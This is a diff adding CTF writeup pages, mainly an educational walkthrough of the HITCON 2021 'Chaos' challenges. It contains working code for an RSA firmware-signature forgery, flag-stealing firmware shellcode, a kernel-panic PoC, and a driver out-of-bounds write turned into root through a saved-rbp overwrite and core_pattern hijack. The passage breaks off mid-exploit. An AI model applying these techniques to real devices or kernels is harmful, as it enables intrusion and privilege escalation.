hacktricks, this led to a high amount of solves. +The challenge itself was however still a lot of fun, and particularly interesting as a case-study of exploitation approaches that are allowed by a minimal-but-not-trivial AST-based blacklist,[^7] for which I would like to thank the author. + + +[^7]: And obviously, that is exactly what this writeup aims to be :) + +### Addendum + +While there were a lot of different exploits possible, I'm particularly happy with my initial one, for a few arbitrary reasons: + +- It got me a quick first blood +- It's one of the few exploits that don't need any parentheses at all +- When looking at it as a code golf challenge, it has the lowest amount of characters I've seen in any of the solutions posted on discord. This is even improved upon slightly be replacing the `pass` in the class body with simply the constant `0`. diff --git a/HITCON-2021/index.html b/HITCON-2021/index.html new file mode 100755 index 0000000..141698b --- /dev/null +++ b/HITCON-2021/index.html @@ -0,0 +1,215 @@ + + + + + +HITCON CTF 2021 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

HITCON CTF 2021

+ + + + + + + + + + + + + + +
ChallengeCategory
Chaospwn, crypto
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2021/index.md b/HITCON-2021/index.md new file mode 100755 index 0000000..9b1cee5 --- /dev/null +++ b/HITCON-2021/index.md @@ -0,0 +1,5 @@ +# HITCON CTF 2021 + +| Challenge | Category | +|-----------|----------| +| [Chaos](./pwn/chaos) | pwn, crypto | diff --git a/HITCON-2021/pwn/chaos.html b/HITCON-2021/pwn/chaos.html new file mode 100755 index 0000000..7155663 --- /dev/null +++ b/HITCON-2021/pwn/chaos.html @@ -0,0 +1,1246 @@ + + + + + +Chaos | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Chaos

+ +

Authors: Nspace, gallileo

+ +

Tags: pwn, crypto, kernel, sandbox, heap

+ +

Points: 334 + 421 + 450

+ +
+

Let’s introduce our brand new device for this cryptocurrency era - CHAOS the CryptograpHy AcceleratOr Silicon!

+ +

Remote Env: Ubuntu 20.04

+ +

nc 52.197.161.60 3154

+ +

chaos-7e0d17f7553a86831ec6f1a5aba6bdb8cfab5674.tar.gz

+
+ +

Introduction

+ +

Last week we played HITCON CTF 2021, one of the hardest events of the year, and placed 4th. During the CTF we (Nspace and gallileo) spent most of our time working on the chaos series of challenges written by david942j and lyc. This writeup explains the structure of the challenges and discusses how we solved each of the 3 stages. Out of nearly 300 teams in the CTF, we were the only team to solve all 3 challenges, and the first team to solve chaos-kernel and chaos-sandbox.

+ +

Let’s get started!

+ +

Challenge architecture

+ +

This series of challenges simulates a custom hardware cryptographic accelerator attached to a Linux computer. The setup is fairly complex and has a lot of moving parts:

+ +
    +
  • A modified QEMU with a custom CHAOS PCI device. The virtual PCI device lets the guest interact with the emulated CHAOS chip.
  • +
  • A Linux VM running inside QEMU. The VM loads a driver for the CHAOS chip, called chaos.ko, into the kernel. Userspace programs can talk to CHAOS through the driver.
  • +
  • A userspace CHAOS client that uses CHAOS to perform cryptographic operations.
  • +
  • A firmware binary that runs on the emulated CHAOS chip.
  • +
  • A sandbox binary that emulates the CHAOS chip and runs the firmware.
  • +
+ +

The following image shows an overview all the components and how they interact.

+ +

CHAOS challenge architecture

+ +

There are 3 challenges in the series, each with a different flag:

+ +
    +
  • chaos-firmware (10 solves, 334 points): the flag is in a file outside the VM (flag_fiwmare).
  • +
  • chaos-kernel (3 solves, 421 points): the flag is in a file inside the VM that only root can read.
  • +
  • chaos-sandbox (2 solves, 450 points): the flag is in a file outside the VM (flag_sandbox).
  • +
+ +

CHAOS virtual device

+ +

CHAOS is a virtual cryptographic accelerator attached to the PCI bus of the virtual machine. It exposes 2 PCI memory resources to the VM: a MMIO area with 16 registers (csrs), and 1 MB of dedicated on-chip memory (dram). The VM can interact with CHAOS by reading and writing to these two memory regions and CHAOS can send interrupts to the VM. The implementation is split in 3 parts: a virtual PCI device in QEMU, a sandbox binary, and some firmware that runs on the virtual chip.

+ +

The PCI device in QEMU doesn’t do much. At startup it allocates space for the two memory regions using memfd and launches the sandbox binary. The QEMU process and the sandbox share the two memfds and two eventfds used to signal interrupts. After startup, the virtual PCI device is only used to send interrupts to the VM or the sandbox and to handle the VM’s memory accesses.

+ +

CHAOS sandbox

+ +

The sandbox does the actual chip emulation, so it’s more interesting. At startup it mmaps the two shared memory areas, opens two flag files (flag_firmware and flag_sandbox), and waits until the VM sends it the firmware. Once the VM sends the firmware, the sandbox validates it, forks, and runs the firmware in the child process. The sandbox ptraces the firmware process and uses PTRACE_SYSEMU to intercept all the system calls made by the firmware. The firmware’s system calls are not handled by the kernel, but by the sandbox. This lets the sandbox implement a custom syscall interface for the firmware, and prevents the firmware from directly accessing files or other system resources.

+ +

The sandbox implements only a few system calls:

+ +
    +
  • exit stops the firmware and sends the exit code back to the VM. The sandbox restarts the firmware on the next memory access from the VM.
  • +
  • add_key and delete_key add and remove cryptographic keys supplied by the firmware to the sandbox’s key storage.
  • +
  • do_crypto performs a cryptographic operation on data supplied by the firmware and returns the result to the firmware.
  • +
  • get_flag reads flag_firmware into the chip’s memory.
  • +
+ +

CHAOS firmware

+ +

The firmware is a flat x86_64 binary, which runs in a child process of the sandbox. Since it runs under ptrace with PTRACE_SYSEMU, it cannot directly make system calls to the kernel, but must do so through the sandbox. The firmware is not executed with execve, but simply loaded in memory and jumped to. It executes in a copy of the sandbox’s memory space, so it has direct access to the MMIO area and the CHAOS device memory. +The challenge has an example firmware, but also lets us provide our own firmware, which can be an arbitrary binary up to 10 kB in size. The sandbox will refuse to load a firmware image unless it passes a RSA signature check.

+ +

CHAOS driver

+ +

chaos.ko is a Linux kernel-mode driver that interfaces with the virtual CHAOS chip over PCI. It is responsible for managing the CHAOS chip’s memory, loading the firmware, servicing interrupts, and providing userspace programs with an interface to the CHAOS chip. The userspace interface uses a misc character device (/dev/chaos) and exposes two IOCTLs:

+ +
    +
  • ALLOC_BUFFER allocates a buffer of a given size in the CHAOS chip’s memory. This can only be done once per open file. After calling this ioctl the client can access the buffer by mmapping the file descriptor.
  • +
  • DO_REQUEST sends a request to perform a cryptographic operation to the CHAOS chip, waits for the request to complete, and then returns.
  • +
+ +

The chip side of the interface uses two ring buffers: a command queue and response queue. The command queue contains request descriptors, which specify what operation CHAOS should perform. Each request descriptor contains a pointer to the input data in the CHAOS memory, the size of the data, an opcode, and a request ID. The response queue contains response descriptors (request ID and status code). After enqueuing a new request, the driver signals a mailbox in the CHAOS MMIO area, which makes the sandbox run the firmware, and the blocks.

+ +

When the firmware returns, the virtual PCI device raises an interrupt, which processes the request, then wakes up the request threads. When a blocked request thread sees that the chip completed its request, it unblocks and returns the result to userspace.

+ +

CHAOS client

+ +

The last piece is the client, a regular Linux binary which runs in userspace in the VM. The client can interact with CHAOS through the interface exposed by the driver at /dev/chaos. Just like with the firmware, the challenge provides an example client, but also lets us use our own which can be an arbitrary binary up to 1 MB in size. Unlike the firmware, the client doesn’t have to pass a signature check. The client runs as an unprivileged user, so it cannot read the flag inside the VM.

+ +

Preparation

+ +

Since the challenge setup is quite complex with a lot of moving parts, we wanted to reduce the complexity and make debugging easier. Since Part 1 and Part 3 can ignore the kernel module and QEMU for the most part, we wrote a script to launch the sandbox binary standalone.

+ +

The setup is quite simple, we create the memfds and eventfds in python, then use pwntools to spawn the sandbox process. We also have some utility functions for “interacting” with the memory regions. The script shown below already uses part of the solution for Part 1. It also already contains more “advanced” firmware features we added for Part 3, being an output buffer so we can use printf inside the firmware.

+ +
#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from pwn import *
+# for type info in vscode
+from pwnlib.tubes.process import process
+from pwnlib import gdb, context
+from pwnlib.elf import ELF
+from ctypes import *
+import os
+import memfd
+from pwn import *
+from hashlib import sha256
+from math import prod
+from skein import threefish
+import twofish
+
+def memfd_create(name, flags):
+    return memfd.memfd_create(name, flags)
+
+# whatever
+libc = cdll.LoadLibrary("libc.so.6")
+def eventfd(init_val, flags):
+    return libc.eventfd(init_val, flags)
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF('sandbox')
+
+# SETUP LOCAL ENV
+csr_fd = memfd_create("dev-csr", 0)
+log.info("csr_fd: %d", csr_fd)
+os.truncate(csr_fd, 0x80)
+dram_fd = memfd_create("dev-dram", 0)
+log.info("dram_fd: %d", dram_fd)
+os.truncate(dram_fd, 0x100000)
+evtfd_to_dev = eventfd(0, 0)
+log.info("evtfd_to_dev: %d", evtfd_to_dev)
+evtfd_from_dev = eventfd(0, 0)
+
+def preexec():
+    # WARNING: using log.* stuff inside the preexec functions can cause hangs, no idea why
+    # log.info("Before executing, setting up the filedescriptors")
+    os.dup2(csr_fd, 3)
+    os.dup2(dram_fd, 4)
+    os.dup2(evtfd_to_dev, 5)
+    os.dup2(evtfd_from_dev, 6)
+    # log.info("Finished with duplicating filedesc")
+
+def wait_for_interrupt():
+    log.debug("Waiting for interrupt from device")
+    res = os.read(evtfd_from_dev, 8)
+    log.debug("Got 0x%x", u64(res))
+    return res
+
+def send_interrupt(val = 1):
+    log.debug("Sending interrupt with val 0x%x", val)
+    os.write(evtfd_to_dev, p64(val))
+
+def write_mem(fd, off, val: bytes):
+    log.debug("Writing to %d @ 0x%x: %s", fd, off, hexdump(val))
+    os.lseek(fd, off, os.SEEK_SET)
+    os.write(fd, val)
+
+def write_mem_64(fd, off, val: int):
+    write_mem(fd, off, p64(val))
+
+def read_mem(fd, off, size) -> bytes:
+    log.debug("Reading from %d @ 0x%x", fd, off)
+    os.lseek(fd, off, os.SEEK_SET)
+    return os.read(fd, size)
+
+def read_mem_64(fd, off) -> int:
+    res = read_mem(fd, off, 8)
+    return u64(res)
+
+def load_firmware(data, dram_off = 0):
+    log.info("Loading firmware of size 0x%x, dram @ 0x%x", len(data), dram_off)
+    # mapping firmware directly at beginning of dram, hopefully that's ok lmao
+    write_mem(dram_fd, dram_off, data)
+    write_mem_64(csr_fd, 0, dram_off)
+    write_mem_64(csr_fd, 8, len(data))
+    send_interrupt()
+    res = wait_for_interrupt()
+    int_val = u64(res)
+    log.info("Got interrupt: 0x%x", int_val) # should be > 0x1336
+    load_res = read_mem_64(csr_fd, 0)
+    log.info("Got result for loading: 0x%x", load_res)
+
+def build_firmware(shellcode):
+    header = p32(len(shellcode))
+    header += p8(0x82)
+    header += bytes.fromhex("0fff0ee945bd4176f55a40543b3666843a0d565c339e5d8969fcd7ca921cc303a1c8af16240c4d032d1931632b90996dd48aebacee307d3c57bc83375698ae7df90d10163edee9e067ce46e738092257dafb15b80fb65961900deffa9b59b57e472bf56be0d9f648ad6908f2553be13a9ea0cda24317756cba5142a95e21f9e000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
+
+    factors = [13, 691267, 20502125755394762434933579089125449307897345968084091731229436353808955447773787435286551243437724264561546459801643475331591701959705793105612360650011316069145033629055595572330904990306691542449400499839249687299626423918040370229280752606812185791663127069532707770334540305571214081730144598191170073
+    ]
+    phi=prod([i-1 for i in factors])
+    dec=pow(0x10001,-1,phi)
+    act = int.from_bytes(sha256(shellcode).digest(), "little")
+    header += int.to_bytes(pow(act, dec, prod(factors)), 256, 'little')
+    return header + shellcode
+
+OUT_OFF = 0x50000
+
+def read_outputbuf():
+    ret = b""
+    off = OUT_OFF
+    while True:
+        curr = read_mem(dram_fd, off, 1)
+        if curr == b"\0":
+            break
+        ret += curr
+        off += 1
+    return ret
+
+def start(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    p = process([exe.path] + argv, *a, **kw)
+    if args.GDB:
+        gdb.attach(p, gdbscript=gdbscript)
+    return p
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    Full RELRO
+# Stack:    Canary found
+# NX:       NX enabled
+# PIE:      PIE enabled
+
+io = start(preexec_fn=preexec, close_fds=False)
+
+# to allow attaching
+if args.PAUSE:
+    pause()
+
+DRAM_START = 0x10000000
+
+# sh = shellcraft.syscall(0xC89FC, arg0=DRAM_START + 0x1000)
+# sh += shellcraft.syscall(60, 0)
+
+# asm_sh = asm(sh)
+
+import subprocess
+
+subprocess.check_call(['make'])
+firm = read("./firmware")
+# firm = build_firmware(asm_sh)
+load_firmware(firm)
+
+log.info("Firmware read ok => launching firmware now!")
+send_interrupt()
+
+wait_for_interrupt()
+# pause()
+log.info("Got interrupt, firmware is done now!")
+
+output = read_outputbuf()
+
+log.info("Output buffer of firmware is:\n%s", hexdump(output))
+
+log.info("As string:\n%s", output.decode("ascii", errors='ignore'))
+
+io.interactive()
+
+ +

Part 1: Firmware

+ +

The firmware can request the flag for this challenge from the +sandbox by using the get_flag syscall, and then write it to the CHAOS memory where our client in userspace can read it. Unfortunately the provided firmware never uses this system call, so there is no way to get the flag without either pwning the firmware from userspace or creating our own firmware that gets the flag and passes the RSA signature check. Since the challenge is in both the crypto and the pwn category and we can supply our own firmware, we tried to look for a way to bypass the signature check. This is the function that validates the firmware:

+ +
struct firmware_header {
+  uint32_t size;
+  uint8_t key_size;
+  uint8_t key[255];
+  uint8_t signature[256];
+  uint8_t data[];
+};
+
+static const uint8_t pubkey[] = { /*...*/ };
+
+void load_firmware(void)
+{
+  uint32_t firmware_offset; // esi
+  uint32_t firmware_size; // eax
+  firmware_header *firmware; // rbx
+  unsigned int key_size; // er14
+  buffer *p_result; // rcx
+  buffer *p_firm_sha; // rax
+  buffer *v7; // rdx
+  unsigned int size; // ebp
+  unsigned int signature_size; // ebx
+  uint8_t *sha_data; // r12
+  uint8_t *x; // rax
+  int rsa_e; // [rsp+Ch] [rbp-29Ch] BYREF
+  buffer firm_data; // [rsp+10h] [rbp-298h] BYREF
+  buffer firm_sha; // [rsp+20h] [rbp-288h] BYREF
+  buffer n; // [rsp+30h] [rbp-278h] BYREF
+  buffer signature; // [rsp+40h] [rbp-268h] BYREF
+  buffer e; // [rsp+50h] [rbp-258h] BYREF
+  buffer result; // [rsp+60h] [rbp-248h] BYREF
+  firmware_header header; // [rsp+70h] [rbp-238h] BYREF
+
+  firmware_offset = csr[0];
+  firmware_size = csr[1];
+
+  // Size/bounds checks
+  if (firmware_size <= 0x204) {
+    csr[0] = -22;
+    return;
+  }
+
+  firmware = &dram_file.data[firmware_offset];
+  memcpy(&header, firmware, sizeof(header));
+  if (header.size + sizeof(header) != firmware_size || header.size > firmware_data.size ) {
+    csr[0] = -22;
+    return;
+  }
+
+  make_buffer(&firm_data, firmware->data, header.size);
+  calc_sha256(&firm_sha, &firm_data);
+
+  // Check the public key that signed the firmware.
+  key_size = header.key_size;
+  make_buffer(&n, firmware->key, header.key_size);
+  if (memcmp(n.data, pubkey, 128)) {
+    csr[0] = -129;
+    return;
+  }
+
+  make_buffer(&signature, firmware->signature, key_size);
+
+  // Verify the signature.
+  rsa_e = 0x10001;
+  make_buffer(&e, &rsa_e, 4);
+  do_rsa_encrypt(&result, &n, &e, &signature);
+
+  p_result = &result;
+  p_firm_sha = &firm_sha;
+  while (1) {
+    size = p_firm_sha->size;
+    signature_size = p_result->size;
+    if ( size >= signature_size )
+      break;
+    v7 = p_firm_sha;
+    p_firm_sha = p_result;
+    p_result = v7;
+  }
+
+  sha_data = p_firm_sha->data;
+  if (!memcmp(sha_data, p_result->data, signature_size)) {
+    x = &sha_data[signature_size];
+    while (size > signature_size) {
+      if (*x++) {
+        goto fail;
+      }
+      ++signature_size;
+    }
+
+    // Firmware valid
+    memcpy(firmware_data.data, firm_data.data, firm_data.size);
+    csr[0] = 0x8000000000000000LL;
+    return;
+  }
+
+fail:
+  csr[0] = -74;
+}
+
+ +

The firmware verifies only the first 128 bytes of N, but N can be up to 255 bytes long, with the size controlled by us. Furthermore, there are no checks that N is actually a product of two primes. This means that we can sign the firmware with our own RSA key as long as the first 128 bytes of the modulus match the key accepted by the sandbox.

+ +

In short, we have to find a number $N’$ that is equal to the challenge’s $N$ in the lowest 128 bytes such that $\phi(N’)$ is easy to compute. Once we have $\phi(N’)$ we can compute the private key and sign our own firmware. The intended solution is to look for a prime $N’$, since then $\phi(N’) = N’ - 1$, but we didn’t think about this during the CTF and instead looked for a composite $N’$ that was easy to factor by setting bits above 1024.

+ +

Our teammate Aaron eventually found that $N’ = (N \mod 2^{1024}) + 2^{1034}$ works and factors to 13 * 691267 * 20502125755394762434933579089125449307897345968084091731229436353808955447773787435286551243437724264561546459801643475331591701959705793105612360650011316069145033629055595572330904990306691542449400499839249687299626423918040370229280752606812185791663127069532707770334540305571214081730144598191170073. This script produces a valid signature for an arbitrary binary:

+ +
from pwn import *
+from hashlib import sha256
+from math import prod
+
+context.arch = "amd64"
+shellcode = read('shellcode.bin')
+
+header = p32(len(shellcode))
+header += p8(0x82)
+header += bytes.fromhex("0fff0ee945bd4176f55a40543b3666843a0d565c339e5d8969fcd7ca921cc303a1c8af16240c4d032d1931632b90996dd48aebacee307d3c57bc83375698ae7df90d10163edee9e067ce46e738092257dafb15b80fb65961900deffa9b59b57e472bf56be0d9f648ad6908f2553be13a9ea0cda24317756cba5142a95e21f9e000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
+
+factors = [13, 691267, 20502125755394762434933579089125449307897345968084091731229436353808955447773787435286551243437724264561546459801643475331591701959705793105612360650011316069145033629055595572330904990306691542449400499839249687299626423918040370229280752606812185791663127069532707770334540305571214081730144598191170073]
+phi=prod([i-1 for i in factors])
+dec=pow(0x10001,-1,phi)
+
+act = int.from_bytes(sha256(shellcode).digest(), "little")
+header += int.to_bytes(pow(act, dec, prod(factors)), 256, 'little')
+
+with open("firmware", "wb") as f:
+    f.write(header + shellcode)
+
+ +

Now that we can sign and load our own firmware, we only have to write some code that loads the flag using the get_flag syscall and makes it available to the client. The easiest way is to have our client allocate and map a buffer in the CHAOS memory, then send a request to CHAOS. The firmware can then copy the flag in the response buffer and exit. Since we hadn’t yet finished reversing the interface between CHAOS and the driver, we just wrote a firmware that copies the flag everywhere in the CHAOS memory instead of finding the buffer that the client is using.

+ +
BITS 64
+DEFAULT rel
+
+dram_size equ 0x100000
+dram_start equ 0x10000000
+dram_end equ dram_start + dram_size
+
+.copy_loop2:
+    ; get flag
+    mov rdi, dram_start
+    mov eax, 0xC89FC
+    syscall
+
+    mov rax, dram_start + 0x50
+
+    .copy_loop
+        mov rsi, dram_start
+        mov rdi, rax
+        mov rcx, 0x50
+        rep movsb
+
+        add rax, 0x50
+        cmp rax, dram_end
+        jb .copy_loop
+
+jmp .copy_loop2
+
+; exit
+mov edi, 0
+mov eax, 60
+syscall
+
+ +
struct request {
+  int field_0;
+  int field_4;
+  int field_8;
+  int field_c;
+  int field_10;
+  int field_14;
+  int out_size;
+};
+
+int main(void)
+{
+    int fd = open("/dev/chaos", O_RDWR);
+    assert(fd >= 0);
+
+    assert(ioctl(fd, 0x4008CA00, 0x1000) >= 0);
+
+    uint8_t *mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+    assert(mem != MAP_FAILED);
+
+    struct request req = {
+        .field_0 = 1,
+        .field_4 = 0,
+        .field_8 = 32,
+        .field_c = 256,
+        .field_10 = 32,
+        .field_14 = 0,
+        .out_size = 256,
+    };
+    ioctl(fd, 0xC01CCA00, &req);
+
+    write(1, mem + 0x20, 0x50);
+
+    return 0;
+}
+
+ +

Flag: hitcon{when the secure bootloader is not secure}

+ +

Part 2: Kernel

+ +

The flag for this part is in the VM, only readable to root. This means that we have to somehow exploit the kernel from our unprivileged client to become root. We control both the userspace client and the firmware, so we can attack the kernel from both sides.

+ +

DMA attack

+ +

CHAOS uses a virtual PCI device. PCI is interesting from an attacker’s point of view because it is bus mastering, which means that the devices can DMA to the host’s memory. Pwning the kernel from such a device would be really easy because the device can read and write to all of physical memory. Unfortunately the virtual PCI device in Qemu doesn’t use DMA, so it’s impossible to DMA to the host memory from the device’s firmware. All that the firmware can do is to write to its MMIO registers and its dedicated memory. Too bad.

+ +

CHAOS driver analysis

+ +

We cannot directly attack the VM’s kernel from the firmware, so it is very likely that we will need to find a bug in the driver and exploit it. We spent a few hours reversing the driver and understanding how it works and eventually found some bugs.

+ +

Recall that the driver uses two ring buffers to communicate with CHAOS. The driver puts commands in the command queue and receives responses in the response queue. Here is the code that adds a new command to the queue:

+ +
int chaos_mailbox_request(struct chaos_mailbox *mailbox, struct chaos_request *req)
+{
+  struct chaos_cmd_desc cmd_desc = {0};
+
+  // Generate a request ID.
+  int request_id = _InterlockedExchangeAdd(&mailbox->request_id, 1) + 1;
+
+  // Copy the request to the CHAOS memory.
+  int ret = chaos_dram_alloc(mailbox->chaos_state->dram_pool, 28LL, &dram_request);
+  if (ret != 0) {
+    return ret;
+  }
+
+  struct chaos_req *dram_req = dram_request.virt_addr;
+  memcpy(dram_req, req, sizeof(struct chaos_request));
+
+  struct chaos_state *chaos_state = mailbox->chaos_state;
+  uint64_t cmd_tail = chaos_state->csrs.virt_addr->cmd_tail;
+
+  mutex_lock(&mailbox->cmdq_lock);
+  uint64_t cmd_head = chaos_state->csrs.virt_addr->cmd_head;
+
+  // Check if the command queue is already full.
+  if ((cmd_head ^ cmd_tail) == 512) {
+    mutex_unlock(&mailbox->cmdq_lock);
+    chaos_dram_free(pool, &dram_request);
+    return -16;
+  }
+
+  cmd_desc.req_id = request_id;
+  cmd_desc.unk = 1;
+  cmd_desc.buf_offset = dram_request.phys_addr - pool->dram_io_map->phys_addr;
+  cmd_desc.size = 28;
+
+  // Add the request to the command queue.
+  memcpy(&mailbox->cmd_queue.virt_addr[cmd_head & 0xfffffffffffffdff], &cmd_desc, sizeof(cmd_desc));
+  chaos_state->csrs.virt_addr->cmd_head = (cmd_head + 1) & 0x3FF;
+  mutex_unlock(p_cmdq_lock);
+
+  // Set the response to pending in the response queue.
+  int resp_idx = request_id & 0x1FF;
+  mailbox->responses[resp_index].result = -100;
+
+  // Send an interrupt to the device.
+  chaos_state->csrs.virt_addr->device_irq = 1;
+
+  _cond_resched();
+  uint32_t result = mailbox->responses[resp_index].result;
+  bool timed_out = false;
+
+  // Wait for the request to complete.
+  if (result == -100) {
+    long time_left = 2000;
+
+    struct wait_queue_entry wq_entry;
+    init_wait_entry(&wq_entry, 0);
+
+    prepare_to_wait_event(&mailbox->waitq, &wq_entry, 2LL);
+
+    // Wait up to 2000 jiffies.
+    result = mailbox->responses[resp_index].result;
+    while (time_left != 0 && result == -100) {
+      time_left = schedule_timeout(time_left);
+      prepare_to_wait_event(&mailbox->waitq, &wq_entry, 2LL);
+      result = mailbox->responses[resp_index].result;
+    }
+
+    timed_out = time_left == 0 && result == -100;
+    finish_wait(&mailbox->waitq, &wq_entry);
+  }
+
+  chaos_dram_free(pool, &dram_request);
+
+  if (timed_out) {
+    return -110;
+  }
+
+  if ((result & 0x80000000) != 0) {
+    dev_err(mailbox->chaos_state->device, "%s: fw returns an error: %d", "chaos_mailbox_request", result);
+    return -71;
+  }
+
+  req->out_size = result;
+
+  return 0;
+}
+
+ +

This function can write out of bounds of the command queue (which has size 512) if the head index of the command queue is greater than 512. At first glance it looks like this can never happen because the driver always ANDs the value of the head index with 0x3FF when incrementing it and then again with 0xdff when accessing the queue, so the index should always be at most 511. However the driver is not the only component that can modify the head index. The firmware also has access to it and can set it to arbitrary values. The following PoC sets the index to a very big value and panics the kernel with a page fault:

+ +
int main(void)
+{
+    int fd = open("/dev/chaos", O_RDWR);
+    assert(fd >= 0);
+
+    assert(ioctl(fd, 0x4008CA00, 0x1000) >= 0);
+
+    uint8_t *mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+    assert(mem != MAP_FAILED);
+
+    struct request req = {
+        .field_0 = 1,
+        .field_4 = 0,
+        .field_8 = 32,
+        .field_c = 256,
+        .field_10 = 32,
+        .field_14 = 0,
+        .out_size = 256,
+    };
+    ioctl(fd, 0xC01CCA00, &req);
+    ioctl(fd, 0xC01CCA00, &req);
+
+    return 0;
+}
+
+ +
BITS 64
+DEFAULT rel
+
+csr_start equ 0x10000
+
+; overwrite the command queue's head pointer.
+mov rax, 0x4141414141414141
+mov [csr_start + 0x50], rax
+
+; exit
+mov edi, 0
+mov eax, 60
+syscall
+
+ +
[    2.964179] general protection fault, probably for non-canonical address 0x505019505070504d: 0000 [#1] SMP NOPTI
+[    2.965393] CPU: 0 PID: 78 Comm: run Tainted: G           O      5.15.6 #5
+[    2.966232] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
+[    2.967558] RIP: 0010:chaos_mailbox_request+0x159/0x2e0 [chaos]
+[    2.968249] Code: 48 89 d0 48 83 c2 01 80 e4 fd c7 44 24 2c 1c 00 00 00 81 e2 ff 03 00 00 4c 8d 04 40 4a 8d 04 80 4c 8b 44 24 23 48 03 44 24 10 <4c> 89 00 44 8b 44 24 2b 44 89 40 08 44 0f b6 44 24 2f 44 88 40 0c
+[    2.970407] RSP: 0018:ffffc900001b7df8 EFLAGS: 00010207
+[    2.971016] RAX: 505019505070504d RBX: ffffc900001b7ec4 RCX: 0000000000000002
+[    2.971841] RDX: 0000000000000142 RSI: 0000000000000100 RDI: ffff888003f39058
+[    2.972662] RBP: ffff888003eff2e8 R08: 0040000100000002 R09: ffffc90000204000
+[    2.973483] R10: 000000000000003c R11: 00000000000000ca R12: 0000000000000000
+[    2.974303] R13: 4141414141414141 R14: ffff888003f39028 R15: ffff888003f421a8
+[    2.975126] FS:  0000000000408718(0000) GS:ffff88801f200000(0000) knlGS:0000000000000000
+[    2.976047] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
+[    2.976704] CR2: 000000000042eb90 CR3: 0000000003f68000 CR4: 00000000000006f0
+[    2.977526] Call Trace:
+[    2.977820]  <TASK>
+[    2.978071]  ? selinux_file_ioctl+0x16f/0x210
+[    2.978582]  chaos_fs_ioctl+0x11c/0x230 [chaos]
+[    2.979108]  __x64_sys_ioctl+0x7e/0xb0
+[    2.979560]  do_syscall_64+0x3b/0x90
+[    2.979981]  entry_SYSCALL_64_after_hwframe+0x44/0xae
+
+ +

The interrupt handler, which reads the result queue, has the same bug but this time it reads out of bounds instead of writing:

+ +
void chaos_mailbox_handle_irq(struct chaos_mailbox *mailbox)
+{
+  struct chaos_state *chaos_state = mailbox->chaos_state;
+  struct chaos_resp_desc *result_queue = mailbox->output_queue.virt_addr;
+  raw_spin_lock(&mailbox->spinlock);
+  uint64_t i = chaos_state->csrs.virt_addr->result_head;
+  while (i != chaos_state->csrs.virt_addr->result_tail) {
+    desc = &result_queue[i & 0xfffffffffffffdff];
+    i = (i + 1) & 0x3FF;
+    id = desc->req_id;
+    result = desc->result;
+    resp = &mailbox->responses[desc->req_id & 0x1FF];
+    resp->req_id = id;
+    resp->result = result;
+  }
+  chaos_state->csrs.virt_addr->result_head = i;
+  spin_unlock(&mailbox->spinlock);
+  _wake_up(&mailbox->waitq, 3, 1, 0);
+}
+
+ +

This gives us an out of bounds read/write, which should be enough to completely own the kernel.

+ +

Exploit

+ +

The bug we found gives us an out of bounds write relative to the address of the command queue. The index is 64-bit so we can write to almost any address (bit 9 of the index is cleared before accessing the queue). We can write a 13-byte command descriptor containing predictable data.

+ +
struct __attribute__((packed)) chaos_input_rb_desc {
+  // Set by the driver, but predictable.
+  uint16_t req_id;
+  // Always 0
+  uint16_t gap;
+  // Always 1
+  uint8_t unk;
+  // Set by the driver, value between 0 and 0x100000
+  uint32_t buffer_offset;
+  // Always 28
+  uint32_t buffer_size;
+};
+
+ +

To get an idea of where our buffer could be and what could be around it we had a look at the kernel’s documentation, which includes a map of the kernel’s address space on x86. The command queue is located in the CHAOS device memory, and the driver uses devm_ioremap to map that region into virtual memory. ioremap allocates virtual memory from the vmalloc region (0xffffc90000000000-0xffffe90000000000 on x86_64), so the ring buffer will be somewhere in that region. After looking around in GDB for a while we noticed that the kernel stack of our process is also located there. This makes sense, because the kernel’s stacks are also allocated from the vmalloc region by default. However even more importantly it looked like the kernel’s stack is at a constant, or at least predictable, offset from the command queue. This means that we should be able to reliably overwrite a specific value saved on the stack with contorlled data without needing any leaks.

+ +

There are many ways to exploit this. The target VM has no SMEP and no SMAP, which means that we can redirect any kernel data and code pointers to memory controlled by us in userspace. With some trial and error to figure out which offsets would overwrite what value, we found that offset 0x13b13b13b13ad88c reliably overwrites a saved rbp on the kernel’s stack. This value depends on what other vmalloc allocations the kernel did before running the exploit so it’s somewhat specific to the setup we used but it works reliably. The overwrite clears the top 16 bits of the saved rbp, which redirects it to a userspace address. We can mmap this address and gain control of the kernel’s stack as soon as the kernel executes a leave instruction. We then only have to fill the fake stack with a pointer to some shellcode.

+ +
static void alloc_rbp(size_t offset) {
+    uint64_t *rbp = mmap(0x00000003001cf000 + 0x040000000*offset, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
+    assert(rbp != MAP_FAILED);
+    for (size_t i = 0; i < 0x1000 / 8; i++) {
+        rbp[i] = &pwn_kernel;
+    }
+}
+
+ +

The shellcode is pretty simple: it reads the IA32_LSTAR, which contains the address of the system call handler, to recover address of the kernel and then overwrites core_pattern with the path to our exploit. It then executes swapgs; sysret to return to userspace. The exploit returns to userspace at an invalid address and crashes, which runs the core dump handler, which is now our exploit itself. The core dump handler runs as root, so our exploit can read the flag and print it to the serial console.

+ +
BITS 64
+DEFAULT rel
+global pwn_kernel
+
+kernel_base equ 0xffffffff81000000
